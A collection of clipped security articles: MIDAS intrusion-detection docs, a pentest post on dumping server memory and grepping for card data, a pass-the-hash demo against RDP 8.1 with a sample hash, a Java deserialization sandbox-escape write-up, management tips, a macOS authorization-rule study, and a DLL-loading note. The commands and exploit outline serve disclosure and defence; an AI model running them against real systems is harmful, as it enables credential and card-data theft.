    # first five columns where the "data_field_name" column is "foobar", ordered by "data_field_name"
    ORM**.** select("test_table", ["data_field_name"], "data_field_name = 'foobar'", 5, "data_field_name")
    
[/code]

####  Updating****

Use the `update` method to update data from the database**.** Simply `select`
some data and change the returned dictionary to reflect the data you want the
field to be updated to and, via some "hidden" values, the ORM will take care
of the rest**.**

See the following example `update` call for reference:

[code]

    ORM = TyORM("midas_hids**.** db")
    data = ORM**.** select("test_table", "*", "data_field_name = 'foobar123'", 1)
    data['data_field_name'] = 'newname123'
    ORM**.** update(data)
    
[/code]

####  Deleting****

Use the `delete` method to delete data from the database**.** Simply `select`
some data and call the delete method and the ORM will take care of the
rest**.**

See the following example `delete` call for reference:

[code]

    ORM = TyORM("midas_hids**.** db")
    data = ORM**.** select("test_table", "*", "data_field_name = 'foobar123'", 1)
    ORM**.** delete(data)
    
[/code]

####  Initializing tables and dynamic ALTERs****

One of the strengths of tyORM is it's ability to dynamically ALTER a table if
the table's schema doesn't match the table definition dictionary**.**

Simply call the `initialize_table` table method before operating on the
table**.** The `initialize_table` method takes two arguments: the table name
and the table definition**.** The `initialize_table` method will create the
table if it doesn't exist and it will alter the table if any new columns have
been added**.**

See the following example code for reference:

[code]

    test_table_data = {
        "data_field_name" : "foo",
        "other_data_field" : "bar",
    }
    
    ORM = TyORM("midas_hids**.** db")
    ORM**.** initialize_table("test_table", test_table_data)
    
    # operate on the ORM here
    
[/code]

Due to limitations of SQLite, this only support new columns that are added,
not columns that are removed**.**

###  Host based analytics****

The file `lib/data_science**.** py` is used for simple host based data
aggregation**.** The `DataScience` class is used to query the database and log
any changes, given a new dataset**.** Using data\_science is very simple**.**
The class constructor takes three arguments:

  * a TyORM object that is already instantiated with the database which is to be operated on
  * a dataset
  * a table name that the dataset should be compared against

The dataset should be an array of dictionaries**.** Each item in the array
should be a dictionary where each key of the dictionary represents a column in
the database and each corresponding value represents a corresponding
value**.** It's OK if some columns of the table are not in the dictionary, but
the `name` column should always be present**.** Although TyORM has it's own
transparent primary key system using the `id` column, for the sake of
`data_science`, the `name` column should be present and it should be
unique**.** The `data_science` code will then select all of the data from the
given table and compare it against the supplied dataset, printing out log
lines illustrating all data that has been added, removed and changed**.**

###  Decorators****

The file `midas/lib/decorators**.** py` contains a bunch of decorators that
can be used for a variety of things, but currently predominantly code
execution frequency**.**

###  Property List parsing****

This is the utility that MIDAS uses to operate on property list files such as
LaunchAgents and LaunchDaemons**.** This is mostly the biplist  python module,
however, you should never actually call any of the biplist functions
directly**.**

The `read_plist` function is what you should call when trying to read a
plist**.** When you call `read_plist`, it first tries to use biplist's
readPlist**.** That code determines if the plist is a binary plist or an XML
plist**.** If it is an XML plist, it just uses python's plistlib to read the
plist**.** If it is a binary plist, it uses a native python implementation to
parse it and return it's contents**.** If that, for whatever reason, fails,
the `read_plist` function will then try to shell out to `plutil` to parse the
plist**.**

The `get_plist_key` function takes a plist and a key as input**.** It returns
the key \(if the key exists\) or False if it does not**.** This is so that,
when operating on property lists, you don't have to roll your own exception
handling on every access**.**

`read_plist` and `get_plist_key` are the only two functions that should be
called from this file**.**

##  Customization****

A MIDAS deployment in an organization typically follows these steps:

  * Create a private fork of MIDAS
  * Add modules and helpers that implement instrumentation specific to the environment
  * Deploy the code \(with updated modules\) to OS X endpoints in the organization
  * Set a crontab/LaunchAgent that executes MIDAS at a set interval
  * Use syslog/a log aggregation mechanism to forward the logs to a central logging host
  * Analyze the collected data and create alerts for anomalies

##  Contributors****

  * **Mike Arpaia** \(@mikearpaia \)
  * **Chris Biettchert** \(@chrisbiettchert \)
  * **Ben Hughes** \(@benjammingh \)
  * **Zane Lackey** \(@zanelackey \)
  * **mimeframe** \(@mimeframe \)

****

# Pentesting like an Eastern European - SpiderLabs Anterior

**Created:**| _7/19/2012 1:57:15 PM_  
---|---  
**Updated:**| _7/19/2012 1:57:15 PM_  
**Author:**| __  
**Tags:**| _report Memory forensics statistics_  
  

### Pentesting like an Eastern European

Through SpiderLabs' Incident Response and Penetration Testing services we get
a chance to both examine 'bad actor' techniques in the field and help our
clients see how their security controls will stand up to them.

One trend we've seen is a move away from malicious parties stealing 'data at
rest' to targeting it as flows through IT infrastructure. Increasingly
sensitive data will be well protected when stored; so network sniffers and
memory dumpers are being used to pilfer information en route.

On the other side of the fence, pentesting is designed to give a 'real world'
security test of these same sensitive assets. So in light of the trend I
thought I'd elaborate on some of the tools and techniques we use to target
dynamic data during pentests. I'll first cover the general background and then
dive into the specific tools and techniques.

## Network Sniffing

Network sniffing is probably the best understood but most poorly addressed
attack scenario facing corporate networks. From a pentest point of view this
makes network sniffing 'less interesting' but our experience is that the vast
majority of corporate networks are vulnerable to some form of it.

ARP and NetBIOS spoofing are perennial favourites with pentesters and
attackers alike. NetBIOS is limited to Windows-based environments, even one's
running Windows 7 and 2008 exclusively, but almost every network will suffer
from ARP Spoofing 'out of the box'.

The best way to address network sniffing is through a combination of strong
network controls and appropriate application-layer encryption. Systems of
differing security levels should be segregated and protected with firewalls.
NAC and other network-layer controls should be used to control who can access
your network and what they can do once they're on it. And if you're running
Windows it wouldn't hurt to disable NetBIOS altogether.

## Memory Dumping

Unlike network sniffing, the ability to steal sensitive data from RAM is an
often overlooked weakness, both by administrators and pentesters. The
terabytes of corporate data sitting on file shares and in databases presents a
tempting target for attackers, but the comparatively small size and 'working
memory' role of RAM can make it a quick win.

Some examples of information we find in memory during a pentest include
passwords and password hashes for users, private keys for remote access and
encryption software, and even sensitive corporate information that has been
recently processed.

The value of searching memory was illustrated during a recent penetration test
we conducted for a payment card processor. In this case cards were being
encrypted end-to-end from customer's browser to the merchant bank using a
combination of SSL encryption and a Hardware Security Module \(HSM\). This
protected against any type of network sniffing attack.

However payment data on its journey from the customer to the bank passed
through a 'middleware' server that packaged it up in format supported by the
HSM. During the pentest we were able to gain access to this server which was
found to be running Centos Linux.

Despite credit cards never been written to disk, or otherwise stored, we were
able to quickly steal credit cards directly from the server's live memory
\(PANs censored to protect the innocent\):

[code]

    modprobe crash
    dd if=/dev/crash of=/opt/logs/crypto1.mem.dump
    
    strings crypto1.mem.dump | grep -Ei '[3-6][0-9]{14,15}|creditcard|pan|cvv' | sort | uniq
    ...
    <PAN>376012xxxxxxxxxx</PAN><CVV>907</CVV><ExpiryDate><Month>09</Month><Year>12</Year></ExpiryDate>
    <PAN>521729xxxxxxxxxx</PAN><CVV>422</CVV><ExpiryDate><Month>04</Month><Year>15</Year></ExpiryDate>
    <PAN>531358xxxxxxxxxx</PAN><CVV>953</CVV><ExpiryDate><Month>05</Month><Year>13</Year></ExpiryDate>
    <PAN>546827xxxxxxxxxx</PAN><CVV>816</CVV><ExpiryDate><Month>02</Month><Year>14</Year></ExpiryDate>
    ...
    
[/code]

This was possible despite the client having gone to great lengths to become
PCI Compliant.

Unfortunately, there are no silver-bullets that will protect your
infrastructure against memory dumping. It comes down to having strong host-
level security; making sure that an attacker has no chance to compromise
sensitive servers. This is an uphill battle unless you already have in place a
programme of strong network segregation, configuration hardening and a
comprehensive patching.

## Memory dumping techniques

So I've covered the background on how 'bad actors' can target dynamic data
when stealing sensitive information. I'd now like to elaborate on some of the
tools and techniques we use to when targeting this information during
penetration tests.

Some tools will do examination of memory for you, but grabbing a full copy of
running memory is generally the preferred option. The 4GB to 16GB size of a
typical memory dump is much easier to search than the hundreds of gigabytes
found on disk drives. In almost all cases you will require high-level
administrator privileges to dump memory. How that is obtained is left as an
exercise for the reader.

How you go about grabbing running memory will greatly depend on the target
operating system. Even then there are numerous different ways for each OS.
These are the techniques that have worked best for me.

### Windows

Windows is probably the most straight forward of all the OSs when it comes to
dumping a full memory image, largely thanks to Matthieu Suiche and his DumpIt
tool. DumpIt will give you a full memory dump with a simple double click. It
even checks to make sure you have enough free space for the dump.

### Linux

If you want to grab a memory dump from a server running a Linux 2.4 kernel
\(or earlier\) then you're in luck\! The kernel handily provides access via
the /dev/mem \(physical\) and /dev/kmem \(virtual memory\) device drivers.
Obtaining an image is as easy as:

[code]

    dd if=/dev/mem of=/tmp/memdump.raw bs=1024
[/code]

Be-careful to make sure you have enough space for your dump\! \(Use cat
/proc/meminfo and df -a commands.\)

However since the Linux 2.6 kernels, they have clamped down on direct access
to memory \(for the obvious security reasons\). The best way to grab memory is
now through the 'crash' kernel modules that replicate the old /dev/mem device
functionality.

Redhat \(and hence Centos as well\) is nice enough to prepackage the crash
module for you. So once again it is as simple as:

[code]

    modprobe crash
    dd if=/dev/crash of=/tmp/memdump.raw bs=1024
    
[/code]

On other distributions things are little more difficult. You will probably
need to compile your own crash module. 'JL' has been kind enough to port the
Redhat crash driver to Ubuntu if that is the system you're targeting.
Compiling it will require having the appropriate kernel header sources
however.

### OSX

There are a number of options on a Mac, but the MacMemoryReader is the easiest
in my experience. Running it is as simple as:

[code]

    sudo ./MacMemoryReader -p memdump.raw
[/code]

## Targeted memory dump tools and utilities

So once you've got a full memory dump, pulling out passwords and other
sensitive information might be as easy as running a few grep commands. However
there are a numbered of specialised tools that target specific types of data
in memory.

Windows password hashes are probably the piece of data we most often pilfer
from memory. There are numerous tools that will do this but most involve code
injection into Windows Kernel. On the other hand the Windows Credentials
Editor tool uses a memory reading approach. No need for a full dump, it will
read memory for you.

More interesting than WCE is Nicolas Collignon and Jean-Baptiste Aviat's
Passe-partout tool \("Master Key" in English\). Written for Unix-type OSs
\(including OSX\) it uses a generic technique for identifying RSA and DSA
encryption keys. It is particularly handy for pulling 'cached' SSH keys from
memory if ssh-agent is running, but can also be used against Apache \(to snarf
private SSL certificates\) and OpenVPN \(to steal VPN authentication keys\).

The AESKeyfinder tool developed as part of the Princeton research into Cold
Boot attacks is similar to Pass-partout but slightly less user friendly. Using
that AESKeyfinder, it is possible to recover the raw AES keys for any
TrueCrypt or FileVault data that may be 'open'. Attacking FileVault is even
easier than that however, as the user password string can be found in your
full memory dump.

Obtaining the FileVault password is often of limited use if you already have
memory dumping ability on a machine, however we see password reuse enough to
make it worth snatching and trying against other systems or accounts.

At this point I should mention the great Volatility Memory Forensics Framework
that my colleagues in Incident Response use regularly. It is suite of analysis
tools for examining a memory dump,, allowing you to pull out the processes
that were running, 'netstat' like information on network connections, open
files, etc. Its support for Windows is the most comprehensive, but there are
Linux and OS X branches. In a pentest scenario you would expect to have access
to most of this information 'live' so it is more handy for forensic
investigations.

So they are some of the tools and techniques we use to target memory during a
pentest. The amount of sensitive data that can be found in RAM and its
comparatively small size lends itself to 'smash and grabs'. This is not
something that has escaped the notice of bad guys either, so it is worth
considering \(or investigating yourself\!\) exactly what is sitting in the
memory of your critical systems, and how it is currently being protected.

Posted by Jonathan Werrett on 18 July 2012 at 06:04 in Payment Card Industry, Penetration Testing, Tools | Permalink

# New "Restricted Admin" feature of RDP 8.1 allows pass-the-hash | Portcullis LabsPortcullis Labs
**Created:**| _10/24/2013 12:18:25 PM_  
---|---  
**Updated:**| _10/24/2013 1:09:40 PM_  
**Author:**| __  
**Tags:**| _authentication bypass hashes admin auth win8_  
  

# **N** ew “Restricted Admin” feature of RDP 8.1 allows pass-the-hash****

Published 20/10/2013 | By MRL
Windows 2012 R2 servers use a newer version of the Remote Desktop Protocol
\(RDP\) that has a feature that will be interest to both penetration testers
and system administrators**.** This post describes the new “Restricted Admin ”
feature, the security benefits it brings and a potential downside of the
feature: Pass-the-Hash attacks**.** We’ll briefly recap what Pass-the-Hash
attack are and demonstrate such an attack against a Windows 2012 R2
server**.** A proof-of-concept \(PoC\) tool to carry out Pass-the-Hash attacks
against Windows 2012 R2 server is also released – a trivial modification to
the excellent FreeRDP client**.**

## What are pass-the-hash attacks?

Quite simply, Pass-the-Hash involves a user logging in using a username and
password hash instead of a username and password**.** Invariably the “user” is
an attacker or pentester – it’s easier for legitimate users to just use their
password**.** Many windows protocols require the user to know their password
hash, but not necessarily to know their password**.** This is important during
penetration testing as it is normally easier to discover a user’s password
hash than it is to discover their password**.**

Prior to version 8.1, RDP required users to know their password**.** For the
most part version 8.1 still requires used to know their password**.** However
there is a corner case \(Restricted Admin Mode\) where the user can
authenticate using their password hash instead**.**

Microsoft has release guidance about how to mitigate against Pass-the-Hash
attacks**.**

## What is Restricted Admin mode?

Running “mstsc /**?** ” on Windows 2012 R2 gives the following description of
the Restricted Admin mode feature:

<img src='img/Temp2_5576.jpg' alt='ra' />

So, in short the efficacy of tools such mimikatz \(which recovers the
cleartext passwords of logged-in users\) should be reduced in environments
where the “Restricted Admin” option is used**.** I haven’t looked into the
effect of “Restricted Admin” mode on post-exploitation tools**.** This may
make a good topic for a future post.

On the face of it then, Administrators would be well advised to use this new
feature in 2012 R2 environments**.** The downside is that outbound connection
from the RDP session \(e**.** g. mapping shares\) won’t work. The feature
would therefore be most useful when to connecting to individual servers, but
not when connection to Jump Servers**.**

## RDP Protocol 8.1****

The RDP v8**.** 1 Protocol specification is dated July 22nd 2013**.** You can
tell if your client supports v8.1 using the “About” dialogue:

<img src='img/Temp2_5578.jpg' alt='81' />

I’ll briefly summarise the new parts of the protocol that interest us to save
the reader having to navigate 464 pages**.**

  1. At the bottom of page 37 of the PDF we see the new RESTRICTED\_ADMIN\_MODE\_REQUIRED flag that can be sent by the RDP client**.** We’ll want to send this in our PoC tool **.**
  2. Also on page 37, we read “If the server supports this mode then it is acceptable for the client to send empty credentials in the TSPasswordCreds structure defined in \[MS-CSSP\] section 2**.** 2.1**.** 2.1.”. So our PoC needs to send a null domain, null username and null password to the server in the TSPasswordCreds structure**.**

That’s it.

## Proof of concept: Scenario****

Imagine we’re performing a penetration test of network**.** We wish to log
into a particular Windows 2012 R2 Server over RDP**.** Let’s further imagine
that it’s a standalone system with a host-based Firewall that only allows RDP
access – this will make the PoC more compelling <img src='img/Temp2_5579.jpg'
alt=':-)' />

Elsewhere on the network we compromise a server and run fgdump \(or
similar\)**.** We find the following username and password hash:

[code]

    test:1001:NO PASSWORD*********************:36374BD2767773A2DD4F6B010EC5EE0D:::
    
[/code]

Finally, let’s imagine that that password is really strong and we can’t crack
it**.** Traditionally, we’d be unable to determine if the same “test” account
was valid on the target server**.** However, in Windows 2012 R2, we can pass-
the-hash – i.e. authenticate with a username and password hash**.**

## Proof of concept: Logging in using a password hash instead of a
password****

The latest version of the FreeRDP project was used for the PoC pass-the-hash
RDP client**.** This is an excellent project released under the Apache Licence
v2**.** 0\. The RDP client supports most of the newer features that we’ll need
– in particular it supports SSL and CredSSP \(NLA\)**.** We just need to make
a few small modifications as outlined above to support “Restricted Admin”
mode**.**

RDP connection are normally made like this:

**?**

`$ xfreerdp -u` `test` `-p Portcullis1 192**.** 168.226**.** 129`  
---  
In the modified version of FreeRDP, the meaning of the -p option has been
changed to be the password hash:

**?**

`$ xfreerdp -u` `test` `-p 36374BD2767773A2DD4F6B010EC5EE0D 192**.**
168.226.129`  
---  
The image below shows that we can log in**.** Right at the bottom of the image
is the command line we used to log in**.**  

<img src='img/Temp2_5577.jpg' alt='login' />

  
That’s it**.** It’s pretty straight forward, but should prove useful on
pentests when Windows 2012 R2 becomes commonplace**.**

## Limitations****

The Restricted Admin mode only applies to administrators**.** If your target
user is in the “Remote Desktop Users” group, the above method won’t work**.**
You’ll get the following message:

<img src='img/Temp2_5580.jpg' alt='fail' />

###  

# cr0 blog: Write once, own everyone, Java deserialization issues

**Created:**| _5/20/2009 12:40:43 PM_  
---|---  
**Updated:**| _5/20/2009 12:40:59 PM_  
**Author:**| __  
**Tags:**| _Exploit vulnerability_  
  

### Write once, own everyone, Java deserialization issues

It is time to talk about my favorite client-side vulnerability ever.
Surprisingly \(if you know me\), this is a Java vulnerability, or rather a
class of Java vulnerabilities that allows to completely bypass the Java
sandbox and execute arbitrary code remotely in Java enabled web browsers.  
This was found by Sami Koivu. He reported the first instance of it
\(CVE-2008-5353\) to Sun on August 1st 2008 and this instance has been fixed
by Sun on December 3rd 2008. These vulnerabilities are both technically
interesting and have a lot of impact.  
  
Since they share core classes, OpenJDK, GIJ, icedtea and Sun's JRE were all
vulnerable at some point. And unfortunately, this vulnerability is still not
fixed everywhere yet.  
  
I've been wanting to talk about this for a while. I was holding off, while
Apple was working to patch this vulnerability. Unfortunately, it is still not
patched in their latest security update from just a few days ago. I believe
that since this vulnerability has already been public for almost 6 months,
making MacOS X users aware that Java needs to be disabled in their browser is
the good thing to do.  
  
As a side note, Sami Koivu and I paired at latest Pwn2own \(his vulnerability,
my exploit\) and owned both Firefox and Safari on MacOS X on day one \(Java is
there and enabled by default on MacOS X\). Unfortunately it fell out of the
challenge criterions because the vulnerability had already been reported to
Sun and I had already pinged Apple in January about it.  
  
So let's talk about the first reported instance of this class of
vulnerabilities, the Calendar deserialization vulnerability.  
  
For legacy reasons, the deserialization of the sun.util.calendar.ZoneInfo
object in a java.util.Calendar has to be fine tuned, so the readObject\(\)
method in the Calendar class will handle it. However, an applet cannot access
sun.util.calendar.ZoneInfo because it is inside "sun" and anything in "sun"
has to be trusted for the Java Applet security model to hold.  
For this reason the code responsible for the ZoneInfo deserialization has to
run with privileges. The code in java.util is trusted and can get more
privileges by using a doPrivileged block:  

[code]

       try{  
    ZoneInfo zi = (ZoneInfo) AccessController.doPrivileged(  
    new PrivilegedExceptionAction() {  
                   public Object run() throws Exception {  
           return input.readObject();  
       }  
    });  
          if (zi != null) {  
    zone = zi;  
    }  
    } catch (Exception e) {}  
      
    
[/code]

So what does this buy us ? We can craft an input and deserialize objects from
it. By deserializing a Calendar, we can get a ZoneInfo object deserialized in
a privileged context. Wait\! How do they check this is a ZoneInfo object? They
let Java's type checking do this for them. So if we carefully craft our input,
we can get an arbitrary object deserialized but it'll not get affected to zi
unless it's a valid ZoneInfo.  
  
To exploit this, let's find a class that we would be forbidden to instantiate
in an Applet because it would allow us to escape from the Java sandbox. The
RuntimePermission class is a great source of inspiration. A ClassLoader seems
to be exactly what we are looking for\! Let's make our own ClassLoader sub-
class and override the readObject\(\) method. This method will be called
during deserialization. In this method we can affect ourselves \(this\) to a
static variable so that our shiny new ClassLoader doesn't get garbage
collected and so that we can use it later.  
  

With our own ClassLoader we can define classes with our own ProtectionDomain
\(with arbitrary privileges\). That's it\!  

  
There is more work to do. The overall exploit can be quite complex \(mine is
over 500 lines but you can make a simpler version\) but you get the basic
idea.  
Also there is the problem of manually crafting the malicious serialized file.
In a first version I did this manually by re-implementing theSerialization
protocol. Later I found a nice trick: by overriding replaceObject\(\), you can
let Java do all the work for you.  
  
I've mentioned that this was a class of vulnerabilities: the reason is that
with this design, every time Java code deserializes an attacker-controlled
input in a privileged context, it's a security vulnerability. Sun fixed the
Calendar vulnerability \(see this patch\) by creating a
newaccessClassInPackage.sun.util.calendar privilege and restricting the
doPrivileged block to this, so they didn't fix the whole class of them \(more
on this in a later post\).  
  
That's it for the technical part.  
  
Now why do I think this client-side arbitrary remote code execution
vulnerability is more interesting that most others?  
  
First, according to Adobe and Sun, Java is available in 80% to 90% of all web
browser, which makes it a nice target.  
  
Secondly, for various reasons, Java is usually poorly updated:

  * The Sun Java update mechanism isn't tied to the operating system update system on the Windows platform. Personal users and companies don't update it often, some of them do have processes in place to deal with Microsoft's patch Tuesdays but don't for other software updates.  

  * Many companies are using web applications or Java software that rely on a specific Java version. It may be tedious to update Java because it would break many things. This may be the reason why Apple's Java updates are so infrequent.  

  * Some Linux distributions don't support Sun's JRE \(proprietary software\) despite making it available. When I asked Ubuntu to fix this vulnerability, they fixed OpenJDK quickly but told me the Sun JRE was not supported \(despite being available by default on the latest LTS Ubuntu release\).  

Third, and this is the important point: most other client-side vulnerabilities
that can lead to arbitrary code execution, including other Java
vulnerabilities are memory corruption vulnerabilities in a component written
in native code. Exploiting those reliably can be hard. Especially if you have
to deal with multiple operating system versions or with PaX-like protections
such as DEP and ASLR.  
This one is a pure Java vulnerability. This means you can write a 100%
reliable exploit in pure Java. This exploit will work on all the platforms,
all the architectures and all the browsers\! Mine has been tested on Firefox,
IE6, IE7, IE8, Safari and on MacOS X, Windows, Linux and OpenBSD and should
work anywhere.  
  
This is close to the holy grail of client-side vulnerabilities.  
  
So MacOS X users, please disable Java in your web browser.  
Others: make sure you have updated Java and still disable it in your web
browser: it's a huge attack surface and it suffers from many other security
vulnerabilities.  

Moreover, even without taking into consideration Java vulnerabilities
themselves, since the Java plugin allocates all memory as RWX and doesn't opt-
in for randomization, a Java applet can be used to bypass ASLR and non
executability \(DEP on Windows\) in browser exploits.  
  
You can also get some information about this vulnerability on Sami Koivu's
blog, here and here and a time line for some of the bugs he reported to Sun
here.  

  

# Episode189 - PaulDotCom Security Weekly

**Created:**| _3/10/2010 3:34:11 PM_  
---|---  
**Updated:**| _3/10/2010 3:34:27 PM_  
**Author:**| __  
**Tags:**| _report socialising_  
  

# Non-Technical Segment: Top Ten Tips To Socially Engineer Management

10. **Avoid Geeky Language** \- While you know that a reverse HTTPS connecting, process jumping backdoor installed on the domain controller is a bad thing, that means nothing to management. You have the tough job of putting the technical details into a report that is readable by management. I set aside one page of the report for this, and it takes the longest to write, so don't rush it. \[Mick\] -  _Don't use biz jargon if you don't know it cold. ROI, trade space, and total cost all have real solid meanings. Throwing terms around inappropriately is just like when your parents refer to the computer as the "hard drive" or "cpu". You sound like an idiot. What's that sound you're hearing? Oh that's just your credibility falling down the well._
9. **Don't Use The "-v" Flag** \- You have to be concise. This means your speech, Powerpoint, email, report, whatever, be to the point. This takes time too\! I will put together my thoughts, then go over them an additional 2-3x to trim them down \(trimming the fat so to speak\). 
8. **Use Numbers** \- Saying, "We have a lot of vulnerabilities, but our Firewall stops a lot of them" doesn't cut it. How many? What percentage? You need to take metrics from all of your security initiatives and then present the most compelling ones to management. 
7. **Use Pictures & Video** \- While a picture speaks a thousand words, video speaks volumes. Nothing wrong with a screencast movie showing IP leaving, employees being socially engineered, etc... This really drives the point home. Plus, who doesn't like watching a movie? 
6. **Put it in terms of cost savings** \- Yes, security is an expense, but it saves money too. Use examples of how much breaches costs, compare that to ongoing security spending and come out ahead. 
5. **Use Examples Carefully** \- Examples of what other people are doing with security weigh heavily with management. No one wants to be the executive who is spending MORE than they have to on security, and they look at other similar businesses and organizations as a guide. I think this is bull, but it can help you make your case. Just be careful with it, it can bite you in the ass if you are proposing to do more than your peers \(even though your business model and situation may be way different\). 
4. **Use Familiar Analogies** \- Business people watch CNN, Fox News, etc... Watch and listen to those channels and use the same language. Just avoid politics though, and stick to business speak. \[Mick\] -  _Get lodged into their heads. Make and use slogans, sayings, or anything else to get inside someone's skull. For instance, after one long meeting I was exasperated and used a quote from the movie Marathon Man: "Is it safe?". Now our upper management ask me that when they see me in the halls. When this happens, you know the battle's half over._ \[PaulDotCom\] - I call this the "elevator" quote. 
3. **Leverage Audit For Clout** \- We've talked about this, use Audit as a tool. Your goals should be in line with auditors. 
2. **Do Your Best To Fit In** \- Don't dress like a slob, cut your hair, cover the tattoos, etc... While I am not one to judge, many people do. Its sad, 
1. **Have The Meeting Before The Meeting** \- This is the best single piece of advice I can give you to be successful at your job. If you have a big meeting coming up, schedule individual meetings with those in attendance. it can even be coffee or lunch, or "I just want to run an idea by you". This allows you to gauge people's reaction and adjust your strategy. It gives people time to think about what you are proposing. It also builds your allies, which is the most important thing. You want to have people in the meeting agreeing with you, who will in turn gather more followers \(kind of like Leadership Lessons From Dancing Guy\). To be honest, this is how I got security implemented at the University. If I walked into a meeting cold and presented an idea for security, it was met with resistance 90% of the time. I greatly increased my chances by meeting before the meeting\! 
0\. \[Mick\] **Give solutions** \- Things are always going to go badly. All
bad news must be accompanied with real workable options. You know why just
about everyone likes firemen? They save the day. Any fool can point and shout
"ZOMG there's a fire\!"... Walking into the building, rescuing the kids and
pets, and then putting that bitch out? You are a hero.

# com.apple.uninstalld.uninstall in detail - how to read the
authorization.plist / auth.db

**Created:**| _8/24/2014 8:38:07 PM_  
---|---  
**Updated:**| _8/24/2014 8:38:07 PM_  
**Author:**| __  
**Tags:**| _Mac-hacking_  
  

Sign up for a GitHub account Sign in

  * All Gists

#

<img src='img/Temp2_10143.png' width='26' height='26' /> pudquick /
**uninstalld.md**

Last active

7 days ago

  *   *  Code
  *   *  Revisions 9
  *   *  Stars 1

### **Embed** URL



### **HTTPS** clone URL



You can clone with HTTPS or SSH.

 Download Gist

com.apple.uninstalld.uninstall in detail - how to read the authorization.plist
/ auth.db

View **uninstalld.md** 

******** **uninstalld.md**

Raw

###  A study of the 'com.apple.uninstalld.uninstall' right

From /System/Library/Security/authorization.plist:

[code]

    normal<key>com.apple.uninstalld.uninstall</key>
    <dict>
        <key>class</key>
        <string>rule</string>
        <key>rule</key>
        <string>entitled-admin-or-authenticate-admin</string>
    </dict>
    
[/code]

So it requires you match the 'entitled-admin-or-authenticate-admin' rule:

[code]

    normal<key>entitled-admin-or-authenticate-admin</key>
    <dict>
        <key>class</key>
        <string>rule</string>
        <key>k-of-n</key>
        <integer>1</integer>
        <key>rule</key>
        <array>
            <string>entitled-admin</string>
            <string>authenticate-admin-30</string>
        </array>
    </dict>
    
[/code]

This rule requires you match one of two possible rules: 'entitled-admin' or
'authenticate-admin-30'

[code]

    normal<key>authenticate-admin-30</key>
    <dict>
        <key>class</key>
        <string>user</string>
        <key>comment</key>
        <string>Like the default rule, but credentials remain valid for only
                30 seconds after they've been obtained.  An acquired credential
                is shared by all clients.</string>
        <key>group</key>
        <string>admin</string>
        <key>shared</key>
        <true/>
        <key>timeout</key>
        <integer>30</integer>
    </dict>
    
[/code]

This rule isn't based on another rule - so it ends here \(more explained
later\).

Here's the other path:

[code]

    normal<key>entitled-admin</key>
    <dict>
        <key>class</key>
        <string>rule</string>
        <key>k-of-n</key>
        <integer>2</integer>
        <key>rule</key>
        <array>
            <string>is-admin</string>
            <string>entitled</string>
        </array>
    </dict>
    
[/code]

'entitled-admin' is another k-of-n, but now it's two of two - you need both of
these: 'is-admin' and 'entitled'

[code]

    normal<key>is-admin</key>
    <dict>
        <key>authenticate-user</key>
        <false/>
        <key>class</key>
        <string>user</string>
        <key>comment</key>
        <string>Verify that the user asking for authorization is an administrator.</string>
        <key>group</key>
        <string>admin</string>
        <key>shared</key>
        <true/>
    </dict>
    
[/code]

This one simply just checks if you're in the admin group. Since both rules are
required, it's the other one that does the heavy lifting here.

Let's look at 'entitled':

[code]

    normal<key>entitled</key>
    <dict>
        <key>class</key>
        <string>evaluate-mechanisms</string>
        <key>mechanisms</key>
        <array>
            <string>builtin:entitled,privileged</string>
        </array>
        <key>tries</key>
        <integer>1</integer>
    </dict>
    
[/code]

This is a new result - an 'evaluate-mechanisms' class object.

However, it is also the end of our hunt - we've terminated all paths.

###  Now we need to go back to the
/System/Library/Security/authorization.plist again and look a little closer.

There are actually three sections to this plist:

  * 'comment'
  * 'rights'
  * 'rules'

'com.apple.uninstalld.uninstall' is the only one that appears in 'rights'

All of the rest appear under 'rules' - meaning _you can't be granted it like a
right_ , you can only be _evaluated as having that status/property_ by the
Security framework.

For example, running something as 'sudo' gives you a True value for the 'is-
root' rule ...

... but none of the paths relied on that \(unfortunately\) - they all relied
on rules that fell into either 'authenticate-\*' \(already auth'd\) or
starting an authentication mechanism.

Basically, the way this right is written, _you'll only be granted it if you've
entered your password_ into a Security framework GUI / CLI tool.

**You would have to re-write this right in the authorization database to make
it work just as root / sudo.**

###  The change you'd need to make is:

[code]

    normal<key>com.apple.uninstalld.uninstall</key>
    <dict>
        <key>class</key>
        <string>rule</string>
        <key>rule</key>
        <string>root-or-entitled-admin-or-authenticate-admin</string>
    </dict>
    
[/code]

This would allow granting the right if you're simply root / sudo'd, without
authentication.

For information on how to make this change on Mavericks, check Sam's article
here:

http://www.afp548.com/2013/10/22/modifying-the-os-x-mavericks-authorization-
database/

If, however, you do not want to change the authorization database, you can
instead use the command-line to enter the password \(instead of a pop-up
dialog\) using the security tool's 'authorize' verb chained with the 'execute-
with-privileges' verb \(to run a command using it\). I have an example of that
code here:

https://gist.github.com/pudquick/43a3797e9af3ed36b4fc

Sign up for free **to join this conversation on GitHub**. Already have an
account? Sign in to comment

  * Status
  * API
  * Blog
  * About



  * © 2014 GitHub, Inc.
  * Terms
  * Privacy
  * Security
  * Contact

# Secdev - Thierry Zoller: CVE-2010-x+n - Loadlibrary/Getprocaddress roars its
evil head in 2010

**Created:**| _8/24/2010 12:17:48 PM_  
---|---  
**Updated:**| _8/24/2010 12:17:48 PM_  
**Author:**| _wishi_  
**Tags:**| _Exploit Examples DLL_  
  

### CVE-2010-x+n - Loadlibrary/Getprocaddress roars its evil head in 2010

Subscribe to the RSS feed in case you are interested in updates  
  
  

After Acrossecurity, published an interesting vulnerability and HDmoore
appears to have stumbled on the same issue, I decided to investigate on my
own. **~~I am not 100% sure it 's the same bug but~~ I am pretty confident**.
While it is known since years and Microsoft even dedicates a KB article to it,
vendors appear to still have issues with using Loadlibrary/Getprocadress
correctly.

  

<img src='img/dll.png' width='400' height='131' />

  

This issue appears to have been first discovered by Georgi Guninski \(who
else\) in 2000, so it is not a new weakness and defensive mechanisms have been
introduced into development languages as well as windows itself to mitigate
this risk \(if properly used\)

  

If I will find more time this week I'll publish more details and backround as
to introduce counter measures and checks into your hopefully mature
Development Lifecycle.

  

**In summary :**

If loadlibrary is not called correctly AND/OR DLL Search path is not hardened
opening a file located on a share will lead to DLL files being located on the
share and code being executed that is within that DLL. Above is an example of
Photoshop.

  

More information about this bug class can be found in a paper by Taeho Kwon
and Taeho Kwon entitled Automatic Detection of Vulnerable Dynamic Component
Loadings

  

Until then know that this issue can be mitigated by deploying proper GPO
policies that disables searching for DLLs on UNC paths \(can't find the KB
article right now - post will be updated\)

  

**Development Best practises** that can protect against this
weakness/vulnerability :

  * **Do not use the SearchPath function to retrieve a path to a DLL for a subsequent LoadLibrary call**. Why : http://msdn.microsoft.com/en-us/library/ms684175\(VS.85\).aspx
